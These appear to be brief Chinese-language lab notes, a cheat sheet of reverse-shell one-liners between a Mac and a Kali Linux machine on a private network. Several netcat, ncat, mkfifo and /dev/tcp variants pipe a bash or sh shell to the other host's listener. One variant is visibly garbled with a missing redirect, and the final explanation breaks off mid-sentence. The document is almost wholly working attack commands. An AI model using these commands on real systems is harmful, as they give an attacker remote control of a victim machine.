mac :192.168.19.107 kali:192.168.19.111
kali 监听mac : nc -lvvp 6666
mac执行:
1:
mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe
2:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.19.111 6666 >/tmp/f
3:
rm -f /tmp/p; mknod /tmp/p p && nc 192.168.19.111 6666 0/tmp/p 2>&1
该语句在监听机器上执行的语句会同步到被攻击机上
4:
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc 192.168.19.111 6666 > f
5:
ncat 192.168.19.111 6666 -e /bin/bash
mac监听kali的反弹shell:
mac : ncat -lvvp 3333
kali:
1:
bash -i >& /dev/tcp/192.168.19.107/3333 0>&1
2: 这条命令使用,kali 上执行的命令结果会在mac机器上显示出来,mac无法执行命令,kali上执行命令无结果,